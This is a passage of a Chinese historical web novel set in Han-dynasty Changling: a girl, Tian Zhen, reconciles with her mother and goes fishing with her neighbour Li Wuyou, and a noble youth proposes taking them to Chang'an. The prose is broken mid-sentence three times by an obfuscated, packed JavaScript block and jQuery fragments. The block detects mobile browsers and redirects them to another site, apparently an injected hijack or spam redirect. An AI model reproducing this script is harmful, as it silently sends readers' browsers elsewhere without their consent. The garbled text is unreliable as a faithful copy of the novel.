“站住!”田母忍了又忍,实在没忍住,一声呵斥让田贞停下脚步。
田母没想到女儿竟然这般倔强,自从上次争执之后便再也不正眼看自己了,也不说话,每天说的最多的就是“我出门了”、“我睡觉了”、“我吃饱了”,眼里全然没有自己这个母亲了!
田贞转身站定,眼睛直直看向田母,也不说话——明明是母亲背叛了自己!为什么还要自己低头让步?!母亲一日没有意识到自己的错误,自己便一日不睬她了!
田贞年纪不大,但倔强劲儿堪比老黄牛。
“你!”看着田贞的模样,田母气结,“天底下哪有你这样的女儿!”田贞是田母的第一个孩子,倾注了田母无数的爱意和精力,田母自认对其不薄,但没想到竟是养出一头白眼狼不成!
“天底下有你这样的母亲吗?”田贞寸步不让,“明明我们才是一队的!”
“我只是为了你好,纠正你的错误而已.....”田母并不觉得自己做错了什么,“你这样的暴脾气,以后会吃大亏的,谁能容忍你......”
听着又是老一套话,田贞拔腿就走,她想:我为什么要谁容忍我?天地这么大,自己往林子里一钻,吃喝不愁,在哪儿活不下去?如此,我为什么要为了别人能够容忍自己去收敛、压抑、改变自己呢?
看田贞头也不回,田母彻底怒了,随手抄起墙角的洗衣棒就追了上去,“我看你是欠收拾!”
东厢房里的田老太正在逗弄孙子,听到屋外的动静,眉开眼笑了,冲田小弟道,“你姐就是欠打,你阿母就是太容她了,容得不成人了,自己受着吧。”开怀大笑。
田母觉得今日必要将田贞给驯服了,不然以后还不知要闯下什么天大的祸事。
田贞扭头看见田母“狰狞”的模样,越发心寒——阿母竟然为了一个不相干的人要揍自己?要知道她田贞长到七岁还没挨过一次打呢!
“你真是个老糊涂!”田贞大喊一声,发足狂奔,田母根本追不上,不一会儿便气喘吁吁。
感受到阿母的有心无力,田贞放缓脚步,转身定定看向扶着膝盖喘气的阿母。
“你到底要干什么啊......”田母失去所有手段,只能威胁,“你再这样,我以后可就再也不理你了。”
田贞道,“哪怕你和我一起骂一骂小姑也是好的。”整个事情,从头到尾似乎就只有自己在生气愤怒,而作为“受害者”的阿母却对“加害者”小姑、奶奶无动于衷,反倒还来指责自己——这让田贞难受极了。
委屈涌上心头,田贞努力克制住泪意,不愿露出自己的软弱,但说出的话还是带着哽咽,“阿母为什么不责怪她们,只来责备我?”这是田贞万分不理解的地方。
看着小孩儿委屈的样子,田母火气灭了一半,走上前,将女儿揽进怀里,低声道出真相,“因为我不在乎她们啊,我只在乎你。”
“所以,哪怕她们又愚蠢又刻薄,我连厌恶的情绪都懒得分给她们。”在这个家,田母在乎的只有丈夫和孩子而已。
听到阿母评价两个人讨厌的家伙“愚蠢又刻薄”,田贞满意地笑了,一身尖刺总算收回,嘟囔道,“阿母你早和我一起骂骂她们不就好了嘛,我是在给你出头呢!你怎么还训我。”责问中带着撒娇。
感受到女儿态度柔软下来,田母松了口气,明白女儿是吃软不吃硬,“是阿母不好,让阿贞伤心了。”
“是阿母太着急了,怕你走了错路。”要是知道山外有山,人外有人,如此鲁莽,一次翻船就会送命。
“那我做的不对,阿母说该怎么做呢?”这些天的冷战,田贞一直反复复盘着这次的事情,但始终想不出个好办法,“阿母让我不要理睬她们,可是我做不到,她们让我难受。”
“阿母又说阿父是咱们一边的,可是阿父说的话并没有用,她们一点也不改。”
“只有爷爷说话顶用,但是顶不了多久,她们还是会固态萌发。”而且爷爷也不是坚决地站她们一边的。
“而且,我自己的事情,我不想要靠阿父和爷爷去解决。”依靠谁,就要讨好谁,就要受谁钳制。就像田小姑想要依靠爷爷给丈夫找个活计,她就要讨好爷爷,被训斥了也不敢吱声。田贞绝不做那低声下气的事儿,对任何人都不行。
田贞掏心窝的话让田母沉默。作为大人,她能忍能包容,且这是自己选择的丈夫以及丈夫的家庭,那就要全接受。且如今形势不同以往了.......想到长安城的局势,想到以及鬓发全白的老皇帝。
“阿贞啊。”田母捧住小孩儿的脸,小声道,“阿母保证,不会一直这样的,很快,很快她们就不敢了。”等老皇帝死了,太子登基,自己便也稳了,到时候,别说田小姑,便是整个长陵邑也没有人敢欺辱她们母女的。
田母模棱两可的话并不能让田贞满意,她拧眉问,“为什么过不了久她们就不敢了呢?是阿母你要当大官了吗?像爷爷那样的大官?”
在田贞看来,爷爷之所以在家里说话管用,因为他是做官的,能给家里办事儿,所以大家都听他的。要是阿母也是大官,小姑和奶奶肯定也不敢翻泡了。
“那算个什么大官。”田母的不屑溢于言表。
“那阿母是要做更大的官?”田贞追问。
“不是这样的。”田母无法解释太多,“总之,阿母保证,以后一定会好的。”
然而,在田贞看来阿母的保证实在太虚无了,一点也不可靠。不过,问题虽然没有解决,但母女两个总算是握手言和了。
田母保证自己以后绝对无条件支持田贞,田贞保证自己以后做事绝对三思而后行,绝对不会一言不合就给人下药。如此,这场母女纷争总算是翻过了篇。
..........
“你今天心情不错?”李无忧手里握着鱼竿,眼神却时不时瞥向一旁的小孩儿——自从上回一起吃过沾泥的厚蛋烧,李无忧和田贞奇异地产生了一种“革命般”的友谊,隔三差五便混迹在一处玩耍。说是玩耍,不如说是一起赚外快。
主要是李无忧发现田贞这小孩儿和旁的小孩儿有点不一样,这小孩儿既不吵人,更不会无理取闹,竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337516|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一个绝好的钓鱼搭子。
今天两人又一起进林子钓鱼摸鸟蛋,李无忧敏锐感觉到小孩儿情绪的变化。前几日小孩儿虽然也笑嘻嘻的,但那笑总带着点说不上来的虚,今天的笑就不一样了,明显是挺高兴的。
“嗯。”田贞点头,并不隐瞒,“我和阿母吵架和好了。”
李无忧闻言苦笑声,“你和你阿母感情还真不错。”而自己两辈子和亲生母亲都属于无话可说的状态,更别说吵架了,双方根本不在一个频道上。
说话间,鱼漂动了,李无忧鱼竿一抖,提上一只巴掌大的小鱼。
“好小。”李无忧解下小鱼,丢进鱼篓里,冲田贞道,“今天吃烤鱼,你去挖个坑,捡点干草干树枝。”自己可不会白吃小孩儿的鸟蛋。
“好!”田贞欢快接下任务,一溜烟跑进林子捡树枝。
在田贞准备烤鱼工具的期间,李无忧又钓上了两只巴掌小鱼,一条能拿出去换钱的大鱼都没有。
“今天估计是不成了。”李无忧叹着气收了鱼竿。
田贞道,“山里的小河本来就没大鱼。”甚至连小鱼都不多。
“无忧姐姐你钓鱼作甚?”田贞好奇问。
“大壮喜欢吃鱼头,喝鱼汤。”李无忧胡扯了借口。
“哦。”田贞摆明不信,但却没有像追问母亲那样对李无忧刨根问底。田贞有一种野兽般的本能和直觉,对不同的人有不同的态度和方式。
见田贞这般不好奇,李无忧倒是自己憋不住了,“我拿去卖钱!”
“钱?”田贞不解,“你要钱做甚?又没处花。”像她们这些生在官邑长在官邑的小孩儿连集市都没去过,有钱都没出花。
“我也不知道要钱做什么。”李无忧眼中迷茫,自己被困在这弹丸之地,手里就是有再多的钱又如何呢,等同于废铜烂铁。但是吧,总要给自己立个目标,找点事做,有个奔头。不然....李无忧觉得自己会疯。
“总之,手里有钱,心里不慌。现在没地方花,不代表以后没地方花。”这话是说给田贞听的,也是说给自己听的。李无忧没有叮嘱田贞要保守秘密,她觉得田贞根本不会告状,她不是那样的人。
“所以.....”田贞细细思索着李无忧的话,得出一个结论,“你是在为以后、为未来做准备?”顿时,李无忧在田贞心目中的形象高大无比。
“我、我、我从来没有想过以后的事情呢!”这么一比较,自己可比无忧姐姐差多了。
田贞忙问,“无忧姐姐想要的未来是什么样子?”
“未来啊......”作为一名穿越者,李无忧设想过无数种未来,“可能富甲一方,兴许名扬天下,东临沧海,西至大漠,遨游天下,或许急流勇退,闲看花开花落,静赏云卷云舒......”李无忧幻想过无数种未来的可能。
“但是,第一步,我要离开长陵邑。”这是李无忧转世为人十三载第一次向人倾诉自己的野望。
“你呢?你想要的未来是什么样子?”
“啊?”田贞沉浸于李无忧所描绘的波澜壮阔之中,乍然被问,脱口而出,“我要当大官!”
10.第 10 章
第十章
“当大官?”李无忧失笑,“你知道大官是什么吗?”
感受到李无忧言语中的轻视,田贞昂着脖子嘴硬道,“我当然知道!大官就是很厉害的人,所有人都会怕我,不敢欺负我。”
“有人欺负你了?”察觉到小孩儿的言下之意,李无忧连忙问。
“没有!”
田贞回答的太快,反而让李无忧确定有人欺负田贞,“谁欺负你了?摸你了吗?”李无忧的心提了起来。
“没有谁欺负我。”田贞不懂李无忧的担心,高声道,“我就是要当大官,这样,全家,爷爷、奶奶、小姑全都得听我的!”
闻言,李无忧松了一口气——看来是家务事。
“那很难啊。”知道小孩儿不是受人欺负了,李无忧一边烤鱼一边给分析起来,“首先你看,咱们官邑里有女人当官吗?”
田贞脑子转了一圈,发现一个可怕的现实,“对啊!咱们官邑里咋没有女人当官?!”
李无忧想说你才发现啊。但一想,对方不过才是个七岁的小屁孩儿,懵懂无知,不知道一些事情也是正常的。
“凭什么啊!”田贞炸了,她之前还暗搓搓想要当个比爷爷还大的官,好叫奶奶和小姑都老实听话呢。
“所以我是当不成大官了吗?!”田贞暴躁挠头,计划被打乱的感觉太难受了,“就算我读书习武也当不了大官?”
李无忧无情地戳破田贞的幻想,“百分之九十是不成的。”没听说汉朝有女官的啊——在李无忧看来,后宫女官不算是官,只有前朝掌握实权的三公九卿才算是官。
“哈?!”田贞傻眼,“这咋办啊。”她还想凭自己的本事在田家称王称霸了,看来是不成了?
“凭什么女人不能当官啊!”田贞不服,“我又不比男的差什么。”田贞将官邑人家的男孩子都拖出来扒拉了一圈,没一个有自己厉害的,“我认字比他们多,力气比他们大,也不能当大官?”真是气死人了。
看着小孩儿怒发冲冠的模样,李无忧幽幽叹息,“这可就小孩儿没娘说来话长了。”说着,李无忧将烤得焦黄的小鱼递给小孩儿,“吃吧,这里头很复杂的。”
烤小鱼很香,鱼皮焦香,鱼肉雪白,鱼骨酥脆,无一不美。然而,田贞却食之无味。
“无忧姐姐,你给我讲讲吧,我不嫌复杂,我会认真听的。”田贞求知若渴。
“我也说不太明白。”李无忧吃着烤鱼,眼神悠远,心道,便是两千年后重男轻女都依旧存在,更不要说在如今的大汉了。
“总之啊.....咱们的路难着呢!”想起自己的那些个白日梦,李无忧自嘲一笑,“不过啊.....”她看向眉头紧锁的田贞,安慰道,“不过啊,你会比我幸运的。”你可是田千秋的孙女啊。
“苟富贵,勿相忘啊!”李无忧开玩笑。
“啊?”显然,田贞的文化水平没能听懂。
“没啥,快吃吧,天色不早了,吃完回家。”李无忧结束了这令人糟心无望的话题。
“这就回家了?”田贞看向空了的鱼篓,“你不是要钓鱼卖钱?空手回家没事吗?”李婶婶可是个厉害的。
“没事。”李无忧道,“我昨天就把今天要织的布织完了。”织完了藏起来,由今天交差。
“你阿母这样,你都不和她吵吗?大壮不用织布,还可以去上学。”田贞换位思考一下,自己要是无忧姐姐,恐怕李家的屋顶都被自己一把火烧了——凭什么这么不公平,那就大家都别过了!
“没必要。”李无忧淡淡道,“吵了也不会改变什么,还浪费时间。”这吵架的功夫自己不如多搞点钱来。
田贞闻言若有所思:无忧姐姐和阿母好像啊!
她们不吵不反抗的原因出奇的一致:吵了也无法改变什么,不如息事宁人免了麻烦。
可是.....都没吵过争过,怎么就知道不行呢?
田贞思考得脑子都要打结了,没想出个所以然来。另一边,李无忧将吃剩的鱼骨,还有鱼肠子装进一个麻布口袋,扎紧袋口,拴一根绳子。绳子绑在岸边的石头上,布口袋丢河里去。这是在打窝,一些肉食性的鱼闻到鱼肠的血腥味会找过来,可是隔着布口袋,闻得到,吃不到,只能啄食从纱布孔中钻出来的细小碎屑。如此鱼就会“滞留”下来,隔日过来说不得会要大收获。
打完窝,李无忧扭头一看,发现小孩儿还托着腮在拧眉沉思,上前道,“少为没有到来的烦恼发愁,有那个功夫不如好好过好当下。”
“就像无忧姐姐这样?”田贞歪头,“先赚钱?”
“我是我,你是你。”李无忧一边收拾鱼竿鱼篓准备回头,一边劝田贞,“你先学本事,以后总有用武之地。”总有一天,你会去长安,去更广阔的舞台,在那里,你会接触更多的人,拥有更多的机会。
丞相孙女,了不得的身份啊。想到这儿,李无忧拍拍田贞的后脑勺,感叹道,“到时候万一有个当官的机会,你却接不住,那多可惜啊。”
“可你不是说没女人当官的么。”田贞不好忽悠。
“今日没有,明日就没有吗?实在没有,你做第一个好了。”
“有道理!”田贞眼睛闪亮。
看着阴霾全消的小孩儿,李无忧暗道,真小孩儿果然好哄,而自己嘛,啧啧,走一步算一步喽。
得到鼓舞的田贞开开心心回家,迎接她的却是个天大的坏消息。阿母告诉她,以后三个月都不能去林子里玩儿了。
“为什么啊!”田贞炸了,自己这才和无忧姐姐搭上关系,就不让一起玩儿了?
“你忘了?”田母提醒,“每年这个时候不都戒严么,马上就是八月饮酎大典了。”
饮酎大典是一项非常重要的朝廷祭祀大典,届时皇帝会亲临高祖庙祭祀,同时,各诸侯王和列侯都要根据封地户口数量献上黄金,作为助祭之资。
而高祖庙就在高祖长陵的隔壁。因此,从六月起直至大典结束,可以说,整个夏天,长陵邑都将处于特别监管之下,各家戒严,严格宵禁制度。便是如田贞这样的小孩儿都没法四处溜达,别说是去陵园外的林子里摸鱼掏鸟窝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346702|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
“今天刚刚发的公告,让大家明后两日去南市采买家里头需要的好米盐,然后就再也不许出官邑了。”
“明天你和我一起去南市。”为了弥补前些日子母女间的别扭,田母如此提议。
“啊?”田贞愣住,“我也一起去?”她其实去南市没什么兴趣,她受李无忧鼓舞,正下定决心要好好学本领呢。
“不想去?”田母发现女儿对出门兴致缺缺,又道,“你要是看到什么想要的,可以买一样。”
田贞心道,我想当大官,能买到吗?显然是不能的。不然阿母早该给自己买个大官当当了。
田贞想了想,问,“公告让明后两天可以出门采买,那我明后两天是不是还可以去林子?”
这段时日田贞有个重大发现,人果然是越老越糊涂。证据如下:
年纪:田老太>阿母>无忧姐姐
糊涂程度:田老太>阿母>无忧姐姐
田贞更喜欢和脑子聪明清爽的人一起玩儿。因此,是和阿母去南市,还是和无忧姐姐去林子,田贞毫不犹豫选择后者。
于是,得到田母的肯定答案后,田贞拒绝了去南市购物的邀请,“我明天有事儿。”
看着小孩儿一本正经的模样,田母只觉好笑,问,“你能有什么事儿啊。”
“我要学习,我要强大,我忙着呢。”田贞没有开玩笑。
“行吧。”田母不强求,“明天我出门,你在家好好学习就是了。”
第二日,官邑里大半的人家都出门采购去了,不少小孩儿也跟着一起赶热闹。
李无忧没去,她被留下织布。田贞也没去,她到隔壁找李无忧玩。
“你干嘛不去?”李无忧道,“我想去还去不了呢。”她早想去看看外面的世界了,哪怕是去乡镇小集市看看也是好的。
“昨天不是才说要好好学本事的么,我才不出去玩。”田贞很坚持。
“读万卷书不如行万里路,知道么。”李无忧叹气。
“啊?”田贞不知道什么是读万卷书不如行万里路,但是这不影响她理解李无忧话语里的意思,“所以说,我应该去南市?”
“去也行,不去也行。”反正你以后要去长安的,这小集市的市面不见也罢。想到这儿,李无忧自嘲一笑:自己瞎操什么心,自己泥菩萨过河自身难保。
“那我是去还是不去?”田贞有点动摇,她对李无忧的话很是信服的。
“都行。”李无忧织布织得心烦,没耐心回应。
田贞仔细想了想,摇头,“还是不去了,所有人都能去的地方能有意思。”就是一身反骨。
想明白后,田贞向李无忧告辞,“不打扰姐姐了,我也回去用功了。”
田贞啪嗒啪嗒跑走,李无忧看着对方消失在门外的背影,喃喃低语,“这家伙倒是个人物。”这么点小屁孩能够能抵挡外界纷扰,坚持本心,可不是件容易的事情。
“也不知她日后如何。”可惜史书上对田千秋的记载都不算多,更没多余笔墨去写他的孙女如何如何了。
11.第 11 章
第十一章
正午时分,太阳垂直照射,炙烤着大地,树上的蝉嘶力竭地叫着,吵得李无忧头晕眼花。她已经织了一早上的布,连一口水都没能入口,总算完成了一天的工作量。
“好累好困。”李无忧很想躺到树荫下睡上一觉,但是想到昨天在河边打的窝,她强打起精神,草草吃了点东西,拿上鱼竿、渔网和鱼篓出门。
一脚跨出家门,扭头一看就瞧见隔壁家的小孩儿手里拿了个树枝,蹲在地上扒拉着玩儿,估计在捅蚂蚁洞。
感受到落在自己身上的目光,田贞抬头一看,就看到李无忧一套准备出门的装备。
“无忧姐姐!”田贞惊喜地跳起来,“你要去林子吗?!”
“嗯。”李无忧点头,“昨天打窝了,今天去瞧瞧。”要是有,那绝对是条大鱼。
“我一起!”说着,田贞脚在地上踩踩蹭蹭,像是要抹去地上的什么东西。
“你干什么?踩蚂蚁?”李无忧上前去看,发现小孩儿不是在掏蚂蚁洞,而是拿树枝在地上写字。
“读....万卷书,不如行万里路?”地上的字已经模糊,又是篆书,李无忧识别的有些吃力。
“无忧姐姐你认识字啊!”田贞惊奇。
李无忧一愣,反应过来自己这是露馅了,支吾解释道,“认识不多,就几个字。”随即反应过来,“你阿父教你的是篆书?”这就有点奇怪了,如今已经是汉武帝晚期了,篆书使用范围大大缩小,几乎只有朝廷正式诏书上才会用篆书,民间甚至是汉武帝自己都用隶书了。
“啊?啥书?”显然田贞不懂篆书和隶书。
“嗯....没什么。”李无忧赶紧闭嘴——按理讲,自己文盲一个,更不该懂什么篆书、隶书的了。
“那啥!无忧姐姐,咱们快些走吧,万一鱼跑了。”田贞心跳漏了一拍,以为李无忧发现了什么异常之处——她也说谎来着,阿父才没有教认字,都是阿母教的啊!
“对!快走!”
两个“各怀鬼胎”的人脚步飞快,没一会儿就到了林子。一脚跨进小树林,凉气从脚底板一直窜到天灵盖,通体舒爽。
“哇~~~”两个人都发出满足的喟叹。
“今天要是有大鱼,赚的钱分你一半。”李无忧以前都是独行侠,她不喜欢和左右邻居家的小孩儿一起玩——年纪差距太大,有代沟啊。
但是,自从和田贞一起行动,李无忧也尝到了好处,果然是人多力量大,做事效率高多了。因此,她不介意分出一部分利益来笼络这个帮手。再有,田家早晚要发达了,和田贞交好对自己而言有利无蔽。
“我不用。”田贞拒绝,“我要钱又没用。”
“给你,你就收着!”大鱼还没落网呢,李无忧已经豪气做好了分配。
深入林子,临近河边,两人默契闭上了嘴巴,连脚步都轻了三分,唯恐惊动了可能已经上钩的猎物。
到了昨日的打窝点,李无忧蹑手蹑脚爬上水边的岩石,从高处往水里一看,顿时眼睛一亮,果然有收获。
等在下头的田贞一看李无忧的神情便知有鱼上钩,立马一动不动,怕坏了大事儿。
水里那鱼身子长圆,打眼一看以为是草鱼,但仔细瞧瞧就能看见那鱼的眼睛上有一抹鲜红。
是一只赤眼鳟!俗名红眼鱼,是做鱼生的上好食材。
今日赚到了!李无忧心喜:红眼鱼可比上回的花鱼好卖,西汉人民超爱生鱼片。
“咚”一声,鱼钩落水。那红眼鱼被吓得一惊,蹭一下逃窜出去。然而,没一会儿,水面恢复平静,那贪吃的鱼寻找着味儿就又回来了。
红眼鱼是一种杂食性鱼,吃小鱼小虾,也吃水草。鱼肠鱼骨被装在麻布口袋里,闻得到味,却吃不着,这会儿眼前忽然出现一团香喷喷的面团,红眼鱼如何等得,张嘴就是一口。
“成了!”感受到鱼竿上的颤动,李无忧大喜,手腕一提,“哗啦啦”大鱼出水。
“哇哦~~~”田贞在一旁喝彩,“无忧姐姐真棒!”情绪价值给满。
“走,我带你去卖鱼。”这条红眼鱼起码能卖两百钱,今天目标达成,李无忧不念战。
“啊?不钓鱼了?”才来就走,田贞有点舍不得,还没玩啥呢。
“卖鱼也很好玩儿的。”李无忧道,“我看我怎么吆喝的,也算长本事。”
田贞眼珠子一转,心想也对,自己还没见过卖鱼是怎么卖的呢。
“这是不是也算读万卷书不如行万里路?”田贞回家后一直琢磨李无忧这句话的意思,虽不曾想透,但觉得很和眼下的情景。
“对喽!孺子可教也!”李无忧弯下腰,点点田贞的额头“就是这么个意思,书要读,事也要做,这叫知行合一。”
“知行合一?”田贞反复品味这新学到的词儿,心道,果然跟着无忧姐姐能学到本事。
“说得好!”一声喝彩犹如一声惊雷,劈得李无忧、田贞两个呆立原地。
李无忧一个错步上前,挡在田贞的身前,眼睛死死盯着声音来处,浑身雷达滴滴作响,脑子甚至开始模拟等下要是搏斗起来自己该怎么下阴招了——或许可以用鱼线勒脖子?
在李无忧的警惕中,一个人影子走出林子,那人步伐从容,不疾不徐,脚踏枯叶的声响让李无忧浑身紧绷。
“是谁啊?”田贞从李无忧身后探出头。
那人正好走出来,“惊扰到两位小娘子,是在下的不是了。”
来者是个少年。准确说,是个间于少年和青年之间的男子,面容年轻,身高起码有一米八,头梳圆髻,穿着上衣下裤。
这是襦裤,寻常百姓家的男子几乎都是这样的简单穿着,方便做活。然而,眼前这年轻男子的襦裤却不同寻常,那布料莹润有光泽,分明是最上好的丝绸缎子。
显然,这人不是官邑的寻常小民,不知是哪里来的达官贵人。
“这谁啊?我没见过。”田贞小声问李无忧。
李无忧捂住田贞的嘴,不让她说话,防止她不小心触怒了贵人。要知道,这可不是啥法制社会,一个平头百姓死了便就死了,天子犯法与庶民同罪那是写在刑法上骗小老百姓的。
“不知贵人在此,叨扰了,这便告辞。”李无忧曾经无数次幻想过和贵人相遇,得贵人青眼,从此平步青云,人生自此不同。可当真正有个疑似贵人从天而降的时候,李无忧只想拔腿就走。
“走什么啊!”那男子叫唤,“真没趣儿!”
李无忧只当没听见,拽住田贞就走。田贞不知道发生了什么,但知道情况不对劲,倒腾着小短腿紧紧跟着李无忧。
“站住!”那人高喝一声。
李无忧赶紧停下,担心自己太过“与众不同”反而招来对方的好奇,那就麻烦大了。
“贵人有什么吩咐。”李无忧一手提着鱼篓、鱼竿,一手拉着田贞,低着头含着胸,谦逊无比。
“啧。”看着对方缩成鹌鹑的模样,金扬只觉无趣,本来他还想着能够说出“知行合一”的女子必然会与众不同呢。
李无忧低着头,眼睛看着地面,感受到那人一步步向自己走来。她能感受的到那人的目光,像是刀子一般将自己上上下下打量着。
“不过是个干巴的小屁孩儿。”金扬目光扫过李无忧洗到发白的衣裳,彻底失去兴趣 ,他问,“你刚刚钓了一只红眼鱼?”
“是的。”李无忧回答。
“卖给我。”金扬说完才想起来自己身上根本没带钱。他提前来长陵是为八月的大祭做准备的,又是偷偷溜出来的,身上自然不会带钱袋子。
“请您笑纳。”李无忧呈上鱼篓,心在滴血:他爷爷的,好不容易抓了条红眼,结果钱没到手,还赔了个篓子。
金扬却不接,还嫌恶地后退两步。
“你会杀鱼吧,把这鱼片了做鱼脍。”金扬独自一个人溜出来是想打野食的。在高祖长陵墓地,没女人也就算了,更惨的是没肉吃。
时人重祭祀,信巫蛊,在祭祀之前是要斋戒的。在斋戒期,需得禁荤腥、节饮食,即不吃和少吃。金扬整个人饿得发虚,嘴里更是淡出个鸟来。可他是天子宠臣,不知道多少双眼睛盯着。因此,他只能借口午睡,实则偷偷跑到陵园外圈的林子里,企图抓只鸟打打牙祭。
结果鸟没抓到,却有意外之喜。金扬在林子里转悠没几步,就听见两道脆如黄鹂的少女音。
一个说“读万卷书不如行万里路”,一个说“知行需合一”,皆是饱含大智慧之语。
“莫不是有奇人隐士在此?”念头闪过,金扬自己笑了,“又不是什么名山大川,怎么可能嘛。”他寻声找
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352414|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,果然就两小屁孩儿。
不过也不是全无收获,那红眼鱼做出的鱼脍可是上品。
“傻愣着作甚?”金扬催促。
“额.....”李无忧为难。
“你怕我不给钱?”金扬讥笑着从衣袖中摸出个物什,丢给李无忧。
李无忧没接到,那东西咕噜噜滚进草丛,却是一颗金闪闪的小金球。
“不是钱......”李无忧弯腰捡起小金球,龙眼大小,沉甸甸的,“是没有刀子。”平日自己和田贞打牙祭就随便糊弄一下,而眼前的这人显然是不会接受糊弄的,那做生鱼片起码要有刀子吧。
“哦。”金扬知道是自己误会了,有些抹不开面子,一边接下腰间悬挂的匕首递给李无忧,又道,“那金丸算是酬金,够买你十条鱼了。”
闻言,李无忧确定眼前这男子是个不食人间烟火的。那沉甸甸的金球何止买十条鱼,买一千条都足够了!
收钱办事,再说本也无法拒绝。李无忧拿刀杀鱼放血,又让田贞去林子里采些野葱和酸果子。
鱼生的美味不仅在于鱼肉本身的鲜美爽滑、柔韧弹牙,蘸料和配菜也很重要。眼下没有现成的酱料,李无忧准备现做葱酱和酸汁。
李无忧将昨日“炸锅”的石板捡了起来,用河水冲刷赶紧,充做砧板和盘子。一开始片鱼还有些生疏,但适应了刀刃划过鱼肉的手感后,片出的鱼片就越来越完美了,薄如蝉翼,纤似发芒。
“大才!”金扬亲眼目睹了李无忧从生疏到老练的变化,意识到眼前这小女子绝不一般。
“你可愿随我去长安!”
“!”李无忧震惊抬头。
这一抬头,正让金扬看了个全脸,他的目光描绘过李无忧的眉眼,发现这小娘子虽然皮肤粗黑了些,但是眉眼并不难看,带回去好生滋养,再装点以绫罗绸缎、金银珠玉,绝对是个小美人。届时自己宴请宾客,便让这小美人现场表演片鱼,美人如月,刀如雪,红肌花落白雪霏。
“绝对大出风头!”金扬只想象了一下那场景便已迫不及待了。
一直以来,李无忧做梦都想离开长陵邑,她想去长安,去更广阔的天地。可当“橄榄枝”真的伸到了眼前,李无忧的第一反应不是欣喜,而是害怕。
“小....小女子....粗鄙.....”李无忧舌头打结。
“无妨!你好的很!”金扬阅女无数,确定李无忧绝对是个可塑之才,“人靠衣装,到时你再跟着府上的乐师教习学两手,绝对惊艳全场。”
李无忧越听越不对,这是让自己去做什么啊?!惊艳全场?怎么听都不像是好事!
“你叫什么名字,是哪家的。等我回长安那日会遣人来接你。”金扬根本不觉得眼前的小娘子会拒绝自己。
“多谢贵人厚爱,但是.....”就在李无忧斟酌着怎么拒绝才不会得罪眼前的贵族子弟之时,田贞回来了。
“这是怎么了?”田贞敏锐察觉到不对,小跑上前陪在李无忧身旁。
“你们是姐妹两个?”金扬又细细打量田贞,发现妹妹模样也不差,浓眉大眼,日后也是个美人。
“你们姐妹两个人感情倒好,如此便一起去长安,也有个伴儿。”
“什么啊?你在说什么啊?”田贞一头雾水地看着眼前这自说自话的男人。
“贵人,酱料到了,还请先用餐。”李无忧赶紧打岔,又让田贞去河边洗野葱。
野葱一分为二,一半捣出汁水,作为蘸料,另一半切成指头长,用做生鱼片的配菜。除了野葱、酸果,田贞还摘了些茱萸,如此辣味也有了。
“真不错!”金扬非常满意——鱼片粉白晶莹,葱段翠绿,搭配在一起好似红桃绿柳,意境绝了。更重要的是味道也棒极了,完全是一场色香味俱全的盛宴。
“贵人满意就好。”李无忧抓紧田贞,告辞,“天色不早了,小女子该归家了。”
“等等!”金扬没忘了事儿,“你叫什么名字。”
李无忧见无法混过去,只得报出自己的名字,“李大妞。”
“这什么名字,俗气。”金扬嫌弃,挥手让两人可以走了,又道,“等公子我给你们取个雅致的好名儿。”
李无忧如蒙大赦,拉着田贞一路跑出林子。至于以后会怎么样,她想都不敢想。
12.第 12 章
第十一章
去长安?去长安?!
曾经,李无忧觉得离开长陵邑去长安是个遥不可及的白日梦,可当梦想触手可及之时,没有欢喜,只有惊慌和恐惧。
“无忧姐姐!无忧姐姐!”田贞被拽着跑,笑嘻嘻道,“那个人说咱们是姐妹呢!”那男人虽然长得丑,眼光倒是不错哩!
李无忧低头一看,便瞧见小孩儿咧嘴大笑的模样,“你个小傻蛋!”竟然还笑得出来,是丁点不知事啊。不过,才七八岁的小孩儿能知什么事儿啊。
被田贞这么一打岔,李无忧砰砰狂跳的心脏总算缓和了些,又见后头没有人追来,脚步也缓了下来。
“无忧姐姐,咱们刚才算是卖鱼了?”田贞还惦记着李无忧说带她去卖鱼长见识的事儿。
“算是吧。”李无忧的脑子里一团乱麻,反复回忆这那个男人出现的情形,男人的一言一行、一举一动。
“一条鱼价一颗金球?”田贞嘴巴长大,“好值钱啊。”
“不是这样的....”李无忧想给田贞解释,但着实心累,只叮嘱田贞,“今天事,谁也不能说,是秘密,明白吗?”
“明白!”田贞重重点头,又问,“那他说接你去长安是怎么回事儿?我也去吗?”既然是秘密,那不得把秘密给搞明白了么。
